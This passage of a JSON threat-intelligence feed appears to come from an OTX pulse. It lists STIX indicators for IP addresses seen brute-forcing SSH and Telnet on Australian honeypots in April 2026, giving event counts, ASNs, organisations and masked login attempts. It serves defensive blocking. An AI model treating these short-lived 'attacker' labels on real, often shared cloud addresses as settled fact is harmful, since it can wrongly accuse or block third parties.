      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--946721cd-76c8-499b-99dc-74a53db04288",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '125.44.240.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T06:15:10.000Z",
      "valid_until": "2026-05-28T06:15:08.000Z"
    },
    {
      "created": "2026-04-26T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 263703. Organisation(s): VIGINET C.A.",
      "id": "indicator--b5913c29-4386-4e87-adce-7b4ecfecc0e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '143.255.87.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T06:15:10.000Z",
      "valid_until": "2026-05-28T06:15:08.000Z"
    },
    {
      "created": "2026-04-26T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--dd5d9b56-0319-4ae7-bc66-a6026701a1c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.232.151.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T06:15:10.000Z",
      "valid_until": "2026-05-28T06:15:08.000Z"
    },
    {
      "created": "2026-04-26T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 266000. Organisation(s): R F de Souza Junior.",
      "id": "indicator--cf3ce828-8d3e-4ed9-b00a-11aaff56fd78",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '181.191.41.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T06:15:10.000Z",
      "valid_until": "2026-05-28T06:15:08.000Z"
    },
    {
      "created": "2026-04-26T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda.",
      "id": "indicator--05f052a3-162a-49d3-83fe-bf5b7b38e63e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '187.21.12.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T06:15:10.000Z",
      "valid_until": "2026-05-28T06:15:08.000Z"
    },
    {
      "created": "2026-04-26T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): t**t. Passwords observed (masked): 7****2.",
      "id": "indicator--853d6a44-1df4-41f2-8ad8-4d3cd0fb3131",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '207.180.229.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T06:15:10.000Z",
      "valid_until": "2026-05-28T06:15:08.000Z"
    },
    {
      "created": "2026-04-26T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 45271. Organisation(s): Vodafone Idea Ltd.",
      "id": "indicator--73453993-e56f-47a3-8207-a4b03d9737a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.97.104.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T06:15:10.000Z",
      "valid_until": "2026-05-28T06:15:08.000Z"
    },
    {
      "created": "2026-04-26T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--6fb1daf3-e78b-48fc-807c-fb53660aadf0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '34.14.124.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T06:15:10.000Z",
      "valid_until": "2026-05-28T06:15:08.000Z"
    },
    {
      "created": "2026-04-26T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--461a1d88-9c65-4420-a8f9-6ee2f85d4495",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '34.38.6.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T06:15:10.000Z",
      "valid_until": "2026-05-28T06:15:08.000Z"
    },
    {
      "created": "2026-04-26T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, 1******8, A******6, N********o, p******d.",
      "id": "indicator--62345355-38fa-4d07-8ab2-3f3e74976ea4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.161.230.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T06:15:10.000Z",
      "valid_until": "2026-05-28T06:15:08.000Z"
    },
    {
      "created": "2026-04-26T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 196. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 215540. Organisation(s): Global Connectivity Solutions Llp. Usernames observed (masked): r**t, u****u, 3**********4, a***n, d****y. Passwords observed (masked): 1**4, 1********c, 1*******d, 3***********4, 3**********4.",
      "id": "indicator--3071b46b-8661-412e-b72c-0a91b89381ed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '78.153.139.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T06:15:10.000Z",
      "valid_until": "2026-05-28T06:15:08.000Z"
    },
    {
      "created": "2026-04-26T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--02753219-0286-40aa-9d1c-225660b0da46",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '104.236.3.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T08:15:10.000Z",
      "valid_until": "2026-05-28T08:15:08.000Z"
    },
    {
      "created": "2026-04-26T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t. Passwords observed (masked): Z******x.",
      "id": "indicator--8d6822f8-4086-4aea-9681-312afed18b34",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '128.1.47.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T08:15:10.000Z",
      "valid_until": "2026-05-28T08:15:08.000Z"
    },
    {
      "created": "2026-04-26T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 11260. Organisation(s): EastLink.",
      "id": "indicator--e840b7b4-273f-412b-bdb3-235523af54d9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '142.67.166.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T08:15:10.000Z",
      "valid_until": "2026-05-28T08:15:08.000Z"
    },
    {
      "created": "2026-04-26T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): ***, r**t, 3**********4, ***, t****1. Passwords observed (masked): 3***********4, 3**********4, A******7, a******k, ***.",
      "id": "indicator--0dd35b83-2a37-4abc-aa62-5b9650e8a55a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '152.32.130.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T08:15:10.000Z",
      "valid_until": "2026-05-28T08:15:08.000Z"
    },
    {
      "created": "2026-04-26T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 233. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, a***n, s***r, t**t, 3**********4. Passwords observed (masked): #**********B, 1****3, 3***********4, 3**********4, 6****6.",
      "id": "indicator--3137882d-fc23-4f3a-bf1e-7e174abf8165",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '152.32.135.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T08:15:10.000Z",
      "valid_until": "2026-05-28T08:15:08.000Z"
    },
    {
      "created": "2026-04-26T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 60. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, t**t, ***, d****y, g****h. Passwords observed (masked): A********@, B****!, H*******3, K*************1, T**********!.",
      "id": "indicator--d4bd8c44-9cac-4d81-94f6-a5833d625df4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.154.6.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T08:15:10.000Z",
      "valid_until": "2026-05-28T08:15:08.000Z"
    },
    {
      "created": "2026-04-26T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 151407. Organisation(s): Hytron Network Services Limited. Usernames observed (masked): d****y. Passwords observed (masked): d*******3.",
      "id": "indicator--03ea3aaf-dd53-440e-b96c-34d1dfe3708a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.196.236.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T08:15:10.000Z",
      "valid_until": "2026-05-28T08:15:08.000Z"
    },
    {
      "created": "2026-04-26T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 266754. Organisation(s): SISTEMAS INFORMATICOS S.A.S. INTERFLASH.",
      "id": "indicator--de2cf80f-75c5-44c1-a811-03f4b42f52bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.232.3.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T08:15:10.000Z",
      "valid_until": "2026-05-28T08:15:08.000Z"
    },
    {
      "created": "2026-04-26T11:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED.",
      "id": "indicator--11614f84-a4a8-4ffd-be32-0771b50fc72f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T11:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '101.36.97.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T11:15:12.000Z",
      "valid_until": "2026-05-28T11:15:09.000Z"
    },
    {
      "created": "2026-04-26T11:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 68. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1****e, 3***********4, 3**********4, 9********9, Q*********%.",
      "id": "indicator--2864320c-9010-4861-b0ea-2bef2fcbff05",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T11:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.139.192.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T11:15:12.000Z",
      "valid_until": "2026-05-28T11:15:09.000Z"
    },
    {
      "created": "2026-04-26T11:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t. Passwords observed (masked): a********5.",
      "id": "indicator--42f479ec-3f51-4283-94ac-316069c9cae7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T11:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.217.145.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T11:15:12.000Z",
      "valid_until": "2026-05-28T11:15:09.000Z"
    },
    {
      "created": "2026-04-26T11:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 110. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 22884. Organisation(s): TOTAL PLAY TELECOMUNICACIONES SA DE CV. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 0**2, 1********n, 1**2, 1***s, 3***********4.",
      "id": "indicator--c0d5f199-a479-4d69-880c-95297f311b9a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T11:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '189.203.163.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T11:15:12.000Z",
      "valid_until": "2026-05-28T11:15:09.000Z"
    },
    {
      "created": "2026-04-26T11:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 213389. Organisation(s): Podolskie opticheskie seti Ltd..",
      "id": "indicator--91beca93-799e-486d-978b-d8687d91fceb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T11:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '194.36.81.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T11:15:12.000Z",
      "valid_until": "2026-05-28T11:15:09.000Z"
    },
    {
      "created": "2026-04-26T11:15:12.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22, 23. Source country: RU. ASN(s): 12418. Organisation(s): Quantum CJSC.",
      "id": "indicator--78bec432-1f33-489a-b26f-288526aaf820",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T11:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '213.170.86.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T11:15:12.000Z",
      "valid_until": "2026-05-28T11:15:09.000Z"
    },
    {
      "created": "2026-04-26T11:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 20011. Organisation(s): NTT-DATA-Inc.",
      "id": "indicator--6a30f5cc-3727-4943-8ffa-27c62e427696",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T11:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '41.135.86.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T11:15:12.000Z",
      "valid_until": "2026-05-28T11:15:09.000Z"
    },
    {
      "created": "2026-04-26T11:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--cc2ea824-cbdf-4a4b-8e5a-383841fe2e96",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T11:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '44.220.185.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T11:15:12.000Z",
      "valid_until": "2026-05-28T11:15:09.000Z"
    },
    {
      "created": "2026-04-26T11:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 267283. Organisation(s): Antonio Carlos de Jussiape - ME.",
      "id": "indicator--2f7f8241-521e-424d-a487-71edda01df17",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T11:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.232.218.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T11:15:12.000Z",
      "valid_until": "2026-05-28T11:15:09.000Z"
    },
    {
      "created": "2026-04-26T11:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--97f1f511-a977-47e1-bc80-ffaad7130023",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T11:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '8.209.236.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T11:15:12.000Z",
      "valid_until": "2026-05-28T11:15:09.000Z"
    },
    {
      "created": "2026-04-26T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda.",
      "id": "indicator--4bb7efe3-85f6-4746-90c7-138200e2dfa5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '179.217.104.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T12:15:10.000Z",
      "valid_until": "2026-05-28T12:15:08.000Z"
    },
    {
      "created": "2026-04-26T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 7738. Organisation(s): V tal.",
      "id": "indicator--972e922a-1caf-47a7-a05c-bf4e717d4b11",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '200.216.93.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T12:15:10.000Z",
      "valid_until": "2026-05-28T12:15:08.000Z"
    },
    {
      "created": "2026-04-26T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, r********6.",
      "id": "indicator--7e404f6e-5355-427b-a820-9d0660311851",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '42.177.92.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T12:15:10.000Z",
      "valid_until": "2026-05-28T12:15:08.000Z"
    },
    {
      "created": "2026-04-26T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--a2fea3bc-f010-436f-a479-ad589d58de45",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T12:15:10.000Z",
      "valid_until": "2026-05-28T12:15:08.000Z"
    },
    {
      "created": "2026-04-26T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--c9150fd8-7073-452f-87d5-bb73d56301ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '95.139.177.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T12:15:10.000Z",
      "valid_until": "2026-05-28T12:15:08.000Z"
    },
    {
      "created": "2026-04-26T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--46a26322-ea99-43f9-ae21-3cbae08e990a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T13:15:11.000Z",
      "valid_until": "2026-05-28T13:15:08.000Z"
    },
    {
      "created": "2026-04-26T13:15:11.000Z",
